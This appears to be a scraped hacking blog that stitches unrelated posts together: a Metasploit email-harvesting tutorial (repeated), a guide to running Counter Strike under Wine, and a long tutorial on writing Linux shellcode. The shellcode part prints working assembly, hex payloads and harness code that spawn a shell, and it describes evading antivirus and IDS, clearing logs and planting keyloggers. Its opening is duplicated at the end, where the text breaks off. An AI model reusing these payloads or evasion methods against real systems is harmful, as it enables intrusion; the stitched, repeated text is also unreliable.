METASPLOIT EMAIL HARSVESTING
IN THIS TUT I WILL SHOW YOU CAN TO USE METASPLOIT TO GET LIST OF EMAIL ADDRESS
OPEN TERMINAL AND TYPE
NEXT STEP:
NOW WE HAVE TO SEARCH FOR EXPLOIT BY TYPING
YOU WILL FIND MANY EXPLOITS WE ARE GOING TO USE IS
auxiliary/gather/search_email_collector
NEXT STEP:
SELECT THE EXPLOIT BY TYPING
NEXT STEP:
NOW WE ARE GOING TO CON FIG THE EXPLOIT ACCORDING TO US LIKE SETTING THE DOMAIN BY TYPING [YOU CAN EVEN VIEW THE OPTIONS AVAILABLE BY TYPING (SHOW OPTIONS) ]
NEXT STEP:
AFTER SETTING THE DOMAIN WE ARE GOING TO RUN THE COLLECTOR
BY TYPING
NEXT STEP:
NOW THE COLLECTOR WILL START COLLECTING THE EMAILS FROM GOOGLE
BING YAHOO
NEXT STEP:
BOOOM U GOT THE LIST
HOPE U LIKE THIS TUT
PLZ COMMENT AND REPLY
YOU CAN COPY PASTE IT IF POSSIBLE GIVE CREDIT
OPEN TERMINAL AND TYPE
Quote:msfconsole
NEXT STEP:
NOW WE HAVE TO SEARCH FOR EXPLOIT BY TYPING
Quote:search gather
YOU WILL FIND MANY EXPLOITS WE ARE GOING TO USE IS
auxiliary/gather/search_email_collector
NEXT STEP:
SELECT THE EXPLOIT BY TYPING
Quote:use auxiliary/gather/search_email_collector
NEXT STEP:
NOW WE ARE GOING TO CON FIG THE EXPLOIT ACCORDING TO US LIKE SETTING THE DOMAIN BY TYPING [YOU CAN EVEN VIEW THE OPTIONS AVAILABLE BY TYPING (SHOW OPTIONS) ]
Quote:set domain site.com
NEXT STEP:
AFTER SETTING THE DOMAIN WE ARE GOING TO RUN THE COLLECTOR
BY TYPING
Quote:run
NEXT STEP:
NOW THE COLLECTOR WILL START COLLECTING THE EMAILS FROM GOOGLE
BING YAHOO
NEXT STEP:
BOOOM U GOT THE LIST
HOPE U LIKE THIS TUT
PLZ COMMENT AND REPLY
YOU CAN COPY PASTE IT IF POSSIBLE GIVE CREDIT
Install and Play Counter Strike on linux
This article teaches you how to install, run and play Counter Strike on Ubuntu.
Counter Strike
Counter Strike
1. If you don’t have Wine installed, first fire up your terminal and install it using the command below:
sudo apt-get install wine
2. Download the tahoma font, needed for steam to function:
wget www.rzs.rs.ba/Fontovi/Tahoma.TTF
3. Move the font to the wine font directory:
mv Tahoma.TTF ~/.wine/drive_c/windows/fonts/
please don't leech the article if so use your url it
4. Install Steam:
a. If you have SteamInstall.exe donwloaded, enter the following command to install it:
wine SteamInstall.exe
b. If you have SteamInstall.msi donwloaded, enter the following command to install it:
wine msiexec /i SteamInstall.msi
5. Install Half-Life 2 from the CD
wine msiexec /i /path/to/HL2/steam.msi
6. Login
WINEDEBUG="fixme-all" wine Steam
If you can’t type in your login, just right-click on the Login edit control in the Steam button and then left-click on it again to make the menu disappear. Yahoo! You can type your login now.
copyright @ securityowned.blogspot.com
BUFFER OVERFLOW Shellcode: The Payload
SHELLCODE
In order to execute our raw exploit codes directly in the stack or other parts of the memory, which deal with binary, we need assembly codes that represent a raw set of machine instructions of the target machines. A shellcode is an assembly language program which executes a shell, such as the '/bin/sh' for Unix/Linux shell, or the command.com shell on DOS and Microsoft Windows. Bear in mind that in exploit, not just a normal shell but what we want is a root shell or Administrator privilege (note: In certain circumstances, in Windows there are account that having privileges higher than Administrator such as LocalSystem). Shellcode is used to spawn a (root) shell because it will give us the highest privilege. A shellcode may be used as an exploit payload, providing a hacker or attacker with command line access to a computer system. Shellcodes are typically injected into computer memory by exploiting stack or heap-based buffer overflows vulnerabilities, or format string attacks. In a classic and normal exploits, shellcode execution can be triggered by overwriting a stack return address with the address of the injected shellcode. As a result, instead the subroutine returns to the caller, it returns to the shellcode, spawning a shell. Examples of shellcodes may be in the following forms:
CLICK HERE
As an assembly language - shellcode.s (shellcode.asm – for Windows):
#a very simple assembly (AT&T/Linux) program for spawning a shell
.section .data
.section .text
.globl _start
_start:
xor %eax, %eax
mov $70, %al #setreuid is syscall 70
xor %ebx, %ebx
xor %ecx, %ecx
int $0x80
jmp ender
starter:
popl %ebx #get the address of the string
xor %eax, %eax
mov %al, 0x07(%ebx) #put a NULL where the N is in the string
movl %ebx, 0x08(%ebx) #put the address of the string
#to where the AAAA is
movl %ebx, 0x0c(%ebx) #put 4 null bytes into where the BBBB is
mov $11, %al #execve is syscall 11
lea 0x08(%ebx), %ecx #load the address of where the AAAA was
lea 0x0c(%ebx), %edx #load the address of the NULLS
int $0x80 #call the kernel
ender:
call starter
.string "/bin/shNAAAABBBB"
As a C program - shellcode.c:
#include <unistd.h>
int main(int argc, char*argv[ ])
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
return 0;
}
Take note that the assembly code can be embedded in the C code using the __asm__ keyword and asm for the reverse (GCC, Microsoft). As a null terminated C string char array in C program:
char shellcode[ ] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
The shellcode declared as a C string of char type may be the most widely used in exploit codes and the typical format is shown below:
char shcode[ ] = "\x90\x31\x89...";
char shcode[ ] = {0x90,0x90,0x31,...};
In a wider definition, shell code not just be used to spawn a shell, it also can be used to create a general payload. Generally an exploit usually consists of two major components:
The exploitation technique.
The payload.
The objective of the exploitation part is to divert the execution path of the vulnerable program. We can achieve that through one of the following techniques:
Stack-based Buffer Overflow.
Heap-based Buffer Overflow.
Integer Overflow.
Format String.
Race condition.
Memory corruption, etc.
Once we control the execution path, we probably want it to execute our code. In this case, we need to include these codes or instruction sets in our exploit. Then, the part of code which allows us to execute arbitrary code is known as payload. The payload can virtually do everything a computer program can do with the appropriate permission and right of the vulnerable programs or services.
Shellcode as a payload
When the shell is spawned, it may be the simplest way that allows the attacker to explore the target system interactively. For example, it might give the attacker the ability to discover internal network, to further penetrate into other computers. A shell may also allow upload/download file/database, which is usually needed as proof of successful penetration test (pen-test). You also may easily install Trojan horse, key logger, sniffer, enterprise worm, WinVNC, etc. A shell is also useful to restart the vulnerable services keeping the service running. But more importantly, restarting the vulnerable service usually allows us to attack the service again. We also may clean up traces like log files and events with a shell. For Windows we may alter the registry to make it running for every system start up and stopping any antivirus programs.
You also can create a payload that loop and wait for commands from the attacker. The attacker could issue a command to the payload to create new connection, upload/download file or spawn another shell. There are also a few others payload strategies in which the payload will loop and wait for additional payload from the attacker such as in multistage exploits and the (Distributed) Denial of Service (DDOS/DOS). Regardless whether a payload is spawning a shell or loop to wait for instructions; it still needs to communicate with the attacker, locally or remotely. There are so many things that can be done.
Shellcode elements
This section will limit the discussion of the payload used to exploit stack based buffer overflows in binary, machine-readable program. In this program, the shellcode must also be machine-readable. The shellcode cannot contain any null bytes (0x00). Null (‘\0’) is a string delimiter which instructs all C string functions (and other similar implementations), once found, will stop processing the string (a null-terminated string). Depending on the platform used, not just the NULL byte, there are other delimiters such as linefeed (LF-0x0A), carriage return (CR-0x0D), backslash ( \ ) and NOP (No Operation) instruction that must also be considered when creating a workable shellcode. In the best situations the shellcode may only contain alphanumeric characters. Fortunately, there are several programs called Encoder that can be used to eliminate the NULL and other delimiter characters.
In order to be able to generate machine code that really works, you have to write the assembly code differently, but still have it serve its purpose. You need to do some tricks here and there to produce the same result as the optimal machine code.
Since it’s important that the shellcode should be as small as possible, the shellcode writer usually writes the code in the assembly language, then extracting the opcodes in the hexadecimal format and finally using the code in a program as string variables. Reliable standard libraries are not available for shellcodes; we usually have to use the kernel syscalls (system call) of the operating system directly. Shellcode also is OS and architecture dependent. Workable shellcode also must consider bypassing the network system protection such as firewall and Intrusion Detection System (IDS).
Creating a shellcode: Making the code portable
Writing shellcode is slightly different from writing normal assembly code and the main one is the portability issue. Since we do not know which address we are at, it is not possible to access our data and even more impossible to hardcode a memory address directly in our program. We have to apply a trick to be able to make shellcode without having to reference the arguments in memory the conventional way, by giving their exact address on the memory page, which can only be done at compile time. Although this is a significant disadvantage, there are always workarounds for this issue. The easiest way is to use a string or data in the shellcode as shown in the following simple example.
.section .data
#only use register here...
.section .text
.globl _start
jmp dummy
_start:
#pop register, so we know the string location
#Here we have assembly instructions which will use the string
dummy:
call _start
.string "Simple String"
What is occurring in this code is that we jmp to the label dummy and then from there call _start label. Once we are at the _start label, we can pop a register which will cause that register to contain the location of our string. CALL is used because it will automatically store the return address on the stack. As discussed before, the return address is the address of the next 4 bytes after the CALL instruction. By placing a variable right behind the call, we indirectly push its address on the stack without having to know it. This is a very useful trick when we do not know where is our code will be executed from. The code arrangement example using C can be illustrated as the following.
Example:
void main(int argc, char **argv)
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
/*int execve(char *file, char *argv[], char *env[ ])*/
execve(name[0], name, NULL);
exit(0);
}
Registers usage:
EAX: 0xb – syscall number.
EBX: Address of program name (address of name[0]).
ECX: Address of null-terminated argument-vector, argv (address of name).
EDX: Address of null-terminated environment-vector, env/enp (NULL).
In this program, we need:
String /bin/sh somewhere in memory.
An Address of the string.
String /bin/sh followed by a NULL somewhere in memory.
An Address of address of string.
NULL somewhere in memory.
To determine address of string we can make use of instructions using relative addressing. We know that call instruction saves EIP on the stack and jumps to the function so:
Use jmp instruction at the beginning of shell code to CALL instruction.
call instruction right before /bin/sh string.
call jumps back to the first instruction after jump.
Now the address of /bin/sh should be on the stack.
A trick to determine the address of string
Figure 1: A trick to determine the address of string.
If you are going to write code more complex than just spawning a simple shell, you can put more than one .string behind the CALL. Here, you know the size of those strings and can therefore calculate their relative locations once you know where the first string is located. With this knowledge, let’s try creating a simple shellcode that spawn a shell. The main points here are the similar process and steps that can be followed to create shellcodes. The following is a simple program example to spawn a shell in assembly (AT&T/Linux).
#assembly (AT&T/Linux) for spawning a shell
####### testshell2.s ############
.section .data
.section .text
.globl _start
_start:
xor %eax, %eax #clear register
mov $70, %al #setreuid is syscall 70
xor %ebx, %ebx #clear register, empty
xor %ecx, %ecx #clear register, empty
int $0x80 #interrupt 0x80
jmp ender
starter:
popl %ebx #get the address of the string, in %ebx
xor %eax, %eax #clear register
mov %al, 0x07(%ebx) #put a NULL where the N is in the string
movl %ebx, 0x08(%ebx) #put the address of the string to where the AAAA is
movl %eax, 0x0c(%ebx) #put 4 null bytes into where the BBBB is
mov $11, %al #execve is syscall 11
lea 0x08(%ebx), %ecx #load the address of where the AAAA was
lea 0x0c(%ebx), %edx #load the address of the NULLS
int $0x80 #call the kernel
ender:
call starter
.string "/bin/shNAAAABBBB" #16 bytes of string...
Basically, before the call starter the memory arrangement should be something like this (Little Endian):
Memory arrangement for our shellcode
Figure 2: Memory arrangement for our assembly code.
When the starter: portion is executed the memory arrangement should be something like this:
Memory arrangement for our shellcode
Where:
a
- Address of the string
Figure 3: Memory arrangement for our shellcode.
Let compile and link the program and then disassemble it to get the equivalent hexadecimal opcodes.
[bodo@lethalcode testbed8]$ as testshell2.s -o testshell2.o
[bodo@lethalcode testbed8]$ ld testshell2.o -o testshell2
[bodo@lethalcode testbed8]$ objdump -d testshell2
testshell2: file format elf32-i386
Disassembly of section .text:
08048074 <_start>:
8048074: 31 c0 xor %eax, %eax
8048076: b0 46 mov $0x46, %al
8048078: 31 db xor %ebx, %ebx
804807a: 31 c9 xor %ecx, %ecx
804807c: eb 16 jmp 8048094 <ender>
0804807e <starter>:
804807e: 5b pop %ebx
804807f: 31 c0 xor %eax, %eax
8048081: 88 43 07 mov %al, 0x7(%ebx)
8048084: 89 5b 08 mov %ebx, 0x8(%ebx)
8048087: 89 43 0c mov %eax, 0xc(%ebx)
804808a: b0 0b mov $0xb, %al
804808c: 8d 4b 08 lea 0x8(%ebx), %ecx
804808f: 8d 53 0c lea 0xc(%ebx), %edx
8048092: cd 80 int $0x80
08048094 <ender>:
8048094: e8 e5 ff ff ff call 804807e <starter>
8048099: 2f das
804809a: 62 69 6e bound %ebp, 0x6e(%ecx)
804809d: 2f das
804809e: 73 68 jae 8048108 <ender+0x74>
80480a0: 4e dec %esi
80480a1: 41 inc %ecx
80480a2: 41 inc %ecx
80480a3: 41 inc %ecx
80480a4: 41 inc %ecx
80480a5: 42 inc %edx
80480a6: 42 inc %edx
80480a7: 42 inc %edx
80480a8: 42 inc %edx
...
Next, arrange the hexadecimal opcodes in char type array (C string).
char code[ ] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";
Finally insert the shellcode into our test program, compile and run.
/*test.c*/
#include <unistd.h>
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";
int main(int argc, char **argv)
{
/*creating a function pointer*/
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
[bodo@lethalcode testbed8]$ gcc -g test.c -o test
[bodo@lethalcode testbed8]$ execstack -s test
[bodo@lethalcode testbed8]$ ./test
sh-3.00$
Well it works. Now, let try another example by using a simple C program. In this example we are using system call for exit(0), that is exit with no error and the program is shown below.
/* exit.c */
#include <unistd.h>
int main()
{
exit(0);
}
Do some verification.
[bodo@lethalcode testbed7]$ gcc -g exit.c -o exit
[bodo@lethalcode testbed7]$ execstack -s exit
[bodo@lethalcode testbed7]$ ./exit
[bodo@lethalcode testbed7]$ echo $?
0
[bodo@lethalcode testbed7]$
Another verification.
#include <unistd.h>
int main()
{
exit(1);
}
[bodo@lethalcode testbed7]$ gcc -g exit.c -o exit
[bodo@lethalcode testbed7]$ execstack -s exit
[bodo@lethalcode testbed7]$ ./exit
[bodo@lethalcode testbed7]$ echo $?
1
The first thing we need to know is the Linux system call for exit() and that can be found in unistd.h. System call is the services provided by Linux kernel and just like API’s in Windows, you call them with different arguments. In C programming, it often uses functions defined in libc which provides a wrapper for many system calls. Linux manual page of section 2 provides more information about system calls. To get an overview, try using “man 2” at the command shell. It is also possible to invoke syscall() function directly. Each system call has a function number defined in <syscall.h> or <unistd.h>. Internally, system call is invoked by software interrupt 0x80 to transfer control to the kernel. System call table is defined in Linux kernel source file “arch/i386/kernel/entry.S ”.
For our example we need just one system call and that is exit() (terminate the current process and exit with exit code) and its system call number is 1 and the argument is 0, (0 means the program exit normally, non-zero means program exit with an error). They will be stored in eax, ebx registers respectively. With this knowledge, let create the program in assembly.
######testshell.s#######
#assembly code for exit() system call, AT&T/Linux
.section .data
.section .text
.globl _start
jmp dummy
_start:
popl %ebx #gets the "X" address
xor %eax, %eax #clear the eax register
mov %eax, 0x01(%ebx) #move NULL to the end of the "X"
mov $1, %eax #move 1 into %eax
mov $0, %ebx #move 0 into %ebx
int $0x80 #interupt 0x80
dummy:
call _start
.string "X"
Then compile and link this assembly program and next, disassemble the executable.
[bodo@lethalcode testbed7]$ as testshell.s -o testshell.o
[bodo@lethalcode testbed7]$ ld testshell.o -o testshell
[bodo@lethalcode testbed7]$ objdump -d testshell
testshell: file format elf32-i386
Disassembly of section .text:
08048074 <_start-0x2>:
8048074: eb 12 jmp 8048088 <dummy>
08048076 <_start>:
8048076: 5b pop %ebx
8048077: 31 c0 xor %eax, %eax
8048079: 89 43 01 mov %eax, 0x1(%ebx)
804807c: b8 01 00 00 00 mov $0x1, %eax
8048081: bb 00 00 00 00 mov $0x0, %ebx
8048086: cd 80 int $0x80
08048088 <dummy>:
8048088: e8 e9 ff ff ff call 8048076 <_start>
804808d: 58 pop %eax
...
Extract the shellcode; rearrange the hex in char string format. And each set of hexadecimal value represents our assembly instruction. Using hexadecimal values we can put any ASCII value in the range of 0-255 in one byte.
\xeb\x12\x5b\x31\xc0\x89\x43\x01\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd
\x80\xe8\xe9\xff\xff\xff\x58
Eliminating the NULL Bytes
Unfortunately in our shellcode, there are NULL bytes and operand. Placing small values into larger registers is the most common error which produced NULL bytes in shellcode programming. In this example we move the 8 bits value $1 (a byte) into the 32-bit %eax register. This will cause our shellcode to produce three NULL bytes. It is better always use the smallest register when inserting or moving a value in shell coding. For NULL bytes, we can easily remove them by taking an 8-bit register instead of 32 bits. So replace the %eax to %al, change the mov to movb.
######testshell.s#######
#assembly code for exit() system call, AT&T/Linux
.section .data
.section .text
.globl _start
jmp dummy
_start:
popl %ebx #gets the "X" address
xor %eax, %eax #clear the eax register
movb %al, 0x01(%ebx) #move NULL to the end of the "X"
movb $1, %al #move 1 into %eax
mov $0, %ebx #move 0 into %ebx
int $0x80 #interupt 0x80
dummy:
call _start
.string "X"
Again, compile and disassemble it.
[bodo@lethalcode testbed7]$ as testshell.s -o testshell.o
[bodo@lethalcode testbed7]$ ld testshell.o -o testshell
[bodo@lethalcode testbed7]$ objdump -d testshell
testshell: file format elf32-i386
Disassembly of section .text:
08048074 <_start-0x2>:
8048074: eb 0f jmp 8048085 <dummy>
08048076 <_start>:
8048076: 5b pop %ebx
8048077: 31 c0 xor %eax, %eax
8048079: 88 43 01 mov %al, 0x1(%ebx)
804807c: b0 01 mov $0x1, %al
804807e: bb 00 00 00 00 mov $0x0, %ebx
8048083: cd 80 int $0x80
08048085 <dummy>:
8048085: e8 ec ff ff ff call 8048076 <_start>
804808a: 58 pop %eax
...
Rearrange the shellcode.
\xeb\x0f\x5b\x31\xc0\x88\x43\x01\xb0\x01\xbb\x00\x00\x00\x00\xcd\x80\xe8\xec\xff\xff\xff\x58
Well, we still have NULL bytes here. It is caused by the mov operand. When we want the ebx to represent a 0 value instead of NULL we can exclusive ORing the same register as shown below:
xor %ebx, %ebx
And the result will be empty %eax instead of NULL. Keep in mind that 0 and NULL values mean differently. Let replace the mov $0x0, %ebx to xor %ebx, %ebx.
######testshell.s#######
#assembly code for exit() system call, AT&T/Linux
.section .data
.section .text
.globl _start
jmp dummy
_start:
popl %ebx #gets the "X" address
xor %eax, %eax #clear the eax register
movb %al, 0x01(%ebx) #move NULL to the end of the "X"
movb $1, %al #move 1 into %eax
xor %ebx, %ebx #move 0 into %ebx
int $0x80 #interupt 0x80
dummy:
call _start
.string "X"
Recompile and re-link. Disassemble the program.
[bodo@lethalcode testbed7]$ ld testshell.o -o testshell
[bodo@lethalcode testbed7]$ objdump -d testshell
testshell: file format elf32-i386
Disassembly of section .text:
08048074 <_start-0x2>:
8048074: eb 0c jmp 8048082 <dummy>
08048076 <_start>:
8048076: 5b pop %ebx
8048077: 31 c0 xor %eax, %eax
8048079: 88 43 01 mov %al, 0x1(%ebx)
804807c: b0 01 mov $0x1, %al
804807e: 31 db xor %ebx, %ebx
8048080: cd 80 int $0x80
08048082 <dummy>:
8048082: e8 ef ff ff ff call 8048076 <_start>
8048087: 58 pop %eax
...
Rearrange the shellcode.
\xeb\x0c\x5b\x31\xc0\x88\x43\x01\xb0\x01\x31\xdb\xcd\x80\xe8\xef\xff\xff\xff\x58
Now we don’t have NULL byte anymore. So let test our shellcode.
/*test.c*/
#include <unistd.h>
char testshcode[ ]="\xeb\x0c\x5b\x31\xc0\x88\x43\x01\xb0\x01\x31"
"\xdb\xcd\x80\xe8\xef\xff\xff\xff\x58";
int main(int argc, char *argv[])
{
/*function pointer*/
int (*funct)();
funct = (int(*)())testshcode;
(int)(*funct)();
return 0;
}
Compile and run the program.
[bodo@lethalcode testbed7]$ gcc -g test.c -o test
[bodo@lethalcode testbed7]$ execstack -s test
[bodo@lethalcode testbed7]$ ./test
[bodo@lethalcode testbed7]$ echo $?
0
Well, it works. For exit(1), change the following assembly code:
xor %ebx, %ebx
To
movb $1, %bl
Recompile and re-link the assembly program. Disassemble it, only three bytes change. The following is the shellcode.
\xeb\x0c\x5b\x31\xc0\x88\x43\x01\xb0\x01\xb3\x01\xcd\x80\xe8\xef\xff\xff\xff\x58
Then replace the shellcode in the test.c program. Recompile and rerun the program.
[bodo@lethalcode testbed7]$ gcc -g test.c -o test
[bodo@lethalcode testbed7]$ execstack -s test
[bodo@lethalcode testbed7]$ ./test
[bodo@lethalcode testbed7]$ echo $?
1
Well, we have verified that our shellcode is functioning and you can see that a shellcode is a group of instructions which can be executed while another program is running.
Fortunately, there are sites that provide readily available shellcodes for various types of exploits and platforms. There are also programs that can be used to generate shellcodes that suit to our need. So don’t mess up yourself! Check out the links at the end of this Module.
More Advanced Techniques
In the real situations, network system has many detection and filtering modules or devices such as firewall, anti-virus and IDS. Most of the basic shellcodes construct will fail when going through these systems. But the shellcodes development not static as well. In this section we will try to review some of the advanced techniques used in the development of the shellcodes in order to evade various normalization and signature based security systems that they encounter along the path to the target application and make the codes stealthy. These techniques include:
Utilizing readily available system resources.
Alphanumeric shellcode.
Encrypt the shellcode.
Polymorphic shellcodes.
Metamorphic shellcode.
Utilizing System Resources
Exploits may fully utilize the resources provided by the target to fully mimic the normal application behavior. For example the exploit may use the targets protocol support and added features to disguise their payloads, including encoding, compression, and encryption. If the target supports any transport compression for example, the payload may be compressed in the stream and decompressed by the server before the vulnerable condition is triggered. The exploit examples include file format vulnerabilities and media-based protocols server vulnerabilities. Many protocol server implementations offer encoding schemes to support data types that require more than the real data. Simple authorization mechanisms that do not use encryption will most likely use simple encoding schemes such as Unicode (UTF) and Base64. If the target offers any form of encryption, the payload may also use that medium instead of the clear text transport medium, and will most likely sneak by the majority of IDS systems such as file format vulnerabilities. The most widely used may be the social engineering techniques that send an encrypted and compressed exploit as an email attachment1which the email itself looks perfectly legitimate.
Alphanumeric
This method can be used to create exploit code using only printable ASCII characters. In general an alphanumeric code is a series of letters and numbers (hence the name) which are written in a form understandable and processable by a computer. For example, one such alphanumeric code is ASCII. More specifically, in an exploit code terminology alphanumeric code is machine code that is written so that it assembles into entirely readable ASCII-letters such as "a"-"z", "A"-"Z", "1"-"9", "#", "!", "@", and so on. This is possible to do with a very good understanding of the assembly language for the specific computer platform that the code is intended for. This code is used in shellcodes with the intent of fooling applications, such as Web forms, into accepting valid and legal code used for exploit.
Encryption
In cryptography, encryption is the process of obscuring information to make it unreadable without certain knowledge of how to decrypt. While encryption has been used to protect communications for centuries, only organizations and individuals with an extraordinary need for secrecy have made use of it. In the mid-1970s, strong encryption emerged from the sole preserve of secretive government agencies into the public domain, and is now employed in protecting widely-used systems, such as Internet e-commerce, mobile telephone networks and bank Automatic Teller Machines data communication. Nowadays a common use of the encryption protocols are ssl and ssh. Another consideration is protection against traffic analysis.
In exploit world the encryption provided by encoder, in simplest form it tries to eliminate NULLs and other user-defined characters out of shellcode. It most basic algorithm uses a simple XOR and includes a built-in decoder routine. It is usually possible to remove NULL characters in the first place by using the right register size as explained before but it is not always the case when we consider other characters available in standard character sets such as ASCII, EBCDIC and Unicode (and their variant). There may be a need to hide some characters, maybe to avoid signature based recognition or something like that. And finally, encoding the shellcode obscures all clear-text in the shellcode nicely.
Polymorphic
In computer terminology, polymorphic code is code that mutates while keeping the original algorithm intact. It is self-modifying codes. Historically, polymorphic code was invented in 1992 by the Bulgarian cracker Dark Avenger (a pseudonym) as a means of avoiding pattern recognition from antivirus-software.
This technique is sometimes used by computer viruses, shellcodes and computer worms to hide their presence. Most anti virus-software and intrusion detection systems attempt to locate malicious code by searching through computer files and data packets sent over a computer network. If the security software finds patterns that correspond to known computer viruses, worms or exploit codes, it takes appropriate steps to neutralize the threat. Polymorphic algorithms make it difficult for such software to locate the offending code as it constantly mutates.
Encryption is the most commonly used method of achieving polymorphism in code. However, not all of the code can be encrypted as it would be completely unusable. A small portion of it is left unencrypted and used to jumpstart the encrypted software. Anti-virus software targets this small unencrypted portion of code.
Malicious programmers have sought to protect their polymorphic code from this strategy by rewriting the unencrypted decryption engine each time the virus or worm is propagated. Sophisticated pattern analysis is used by anti-virus software to find underlying patterns within the different mutations of the decryption engine in hopes of reliably detecting such malware. As an example, ADMutate program was released by Ktwo. ADMutate designed to defeat IDS signature checking by altering the appearance of buffer overflow exploits. This technique actually borrowed from virus writers. The mutation engine contains the following components:
NOP substituted is with operationally inert commands. For example, Intel Architecture has more than 50 NOP equivalent instructions.
Shell code is encoded by XORing with a randomly generated key.
Return address is modulated. Least significant byte altered to jump into different parts of NOPs.
And the decode Engine:
Need to decode the XOR’ed shellcode.
Engine is also polymorphic that is by varying the assembly instructions to accomplish the same results in different ways and out of order decoding to vary the signature even more.
Metamorphic code
This is a more powerful and technically skillful level of polymorphism. In computer virus terms, metamorphic code is a code that can reprogram itself. Often, it does this by translating its own code into a temporary pseudo-code, and then back to normal code again. This is used by some viruses when they are about to infect new files, and the result is that their "children" or "clone" will never look like them selves. The computer viruses that use this technique do this in order to avoid the pattern recognition of the anti virus-software where the actual algorithm does not change but everything else might.
Metamorphic code is more effective than polymorphic code. This is because most anti virus-software will try to search for known virus-code even during the execution of the code. Metamorphic code can also mean that a virus is capable of infecting executables from two or more different operating systems (such as Windows and Linux) or even different computer architectures. Often, the virus does this by carrying several viruses with itself, so it is really a matter of several viruses that has been 'combined' together into a "supervirus". Similar to the polymorphic, metamorphic also use encoder and decoder. Worms and virii have used morphing engines for decades to evade signature based Anti Virus systems. This same techniques used in exploit codes that can be used to evade other simple signature-based security systems, such as Intrusion Detection Systems.
In order to execute our raw exploit codes directly in the stack or other parts of the memory, which deal with binary, we need assembly codes that represent a raw set of machine instructions of the target machines. A shellcode is an assembly language program which executes a shell, such as the '/bin/sh' for Unix/Linux shell, or the command.com shell on DOS and Microsoft Windows. Bear in mind that in exploit, not just a normal shell but what we want is a root shell or Administrator privilege (note: In certain circumstances, in Windows there are account that having privileges higher than Administrator such as LocalSystem). Shellcode is used to spawn a (root) shell because it will give us the highest privilege. A shellcode may be used as an exploit payload, providing a hacker or attacker with command line access to a computer system. Shellcodes are typically injected into computer memory by exploiting stack or heap-based buffer overflows vulnerabilities, or format string attacks. In a classic and normal exploits, shellcode execution can be triggered by overwriting a stack return address with the address of the injected shellcode. As a result, instead the subroutine returns to the caller, it returns to the shellcode, spawning a shell. Examples of shellcodes may be in the following forms:
CLICK HERE
As an assembly language - shellcode.s (shellcode.asm – for Windows):
#a very simple assembly (AT&T/Linux) program for spawning a shell
.section .data
.section .text
.globl _start
_start:
xor %eax, %eax
mov $70, %al #setreuid is syscall 70
xor %ebx, %ebx
xor %ecx, %ecx
int $0x80
jmp ender
starter:
popl %ebx #get the address of the string
xor %eax, %eax
mov %al, 0x07(%ebx) #put a NULL where the N is in the string
movl %ebx, 0x08(%ebx) #put the address of the string
#to where the AAAA is
movl %ebx, 0x0c(%ebx) #put 4 null bytes into where the BBBB is
mov $11, %al #execve is syscall 11
lea 0x08(%ebx), %ecx #load the address of where the AAAA was
lea 0x0c(%ebx), %edx #load the address of the NULLS
int $0x80 #call the kernel
ender:
call starter
.string "/bin/shNAAAABBBB"
As a C program - shellcode.c:
#include <unistd.h>
int main(int argc, char*argv[ ])
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
return 0;
}
Take note that the assembly code can be embedded in the C code using the __asm__ keyword and asm for the reverse (GCC, Microsoft). As a null terminated C string char array in C program:
char shellcode[ ] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
The shellcode declared as a C string of char type may be the most widely used in exploit codes and the typical format is shown below:
char shcode[ ] = "\x90\x31\x89...";
char shcode[ ] = {0x90,0x90,0x31,...};
In a wider definition, shell code not just be used to spawn a shell, it also can be used to create a general payload. Generally an exploit usually consists of two major components:
The exploitation technique.
The payload.
The objective of the exploitation part is to divert the execution path of the vulnerable program. We can achieve that through one of the following techniques:
Stack-based Buffer Overflow.
Heap-based Buffer Overflow.
Integer Overflow.
Format String.
Race condition.
Memory corruption, etc.
Once we control the execution path, we probably want it to execute our code. In this case, we need to include these codes or instruction sets in our exploit. Then, the part of code which allows us to execute arbitrary code is known as payload. The payload can virtually do everything a computer program can do with the appropriate permission and right of the vulnerable programs or services.
Shellcode as a payload
When the shell is spawned, it may be the simplest way that allows the attacker to explore the target system interactively. For example, it might give the attacker the ability to discover internal network, to further penetrate into other computers. A shell may also allow upload/download file/database, which is usually needed as proof of successful penetration test (pen-test). You also may easily install Trojan horse, key logger, sniffer, enterprise worm, WinVNC, etc. A shell is also useful to restart the vulnerable services keeping the service running. But more importantly, restarting the vulnerable service usually allows us to attack the service again. We also may clean up traces like log files and events with a shell. For Windows we may alter the registry to make it running for every system start up and stopping any antivirus programs.
You also can create a payload that loop and wait for commands from the attacker. The attacker could issue a command to the payload to create new connection, upload/download file or spawn another shell. There are also a few others payload strategies in which the payload will loop and wait for additional payload from the attacker such as in multistage exploits and the (Distributed) Denial of Service (DDOS/DOS). Regardless whether a payload is spawning a shell or loop to wait for instructions; it still needs to communicate with the attacker, locally or remotely. There are so many things that can be done.
Shellcode elements
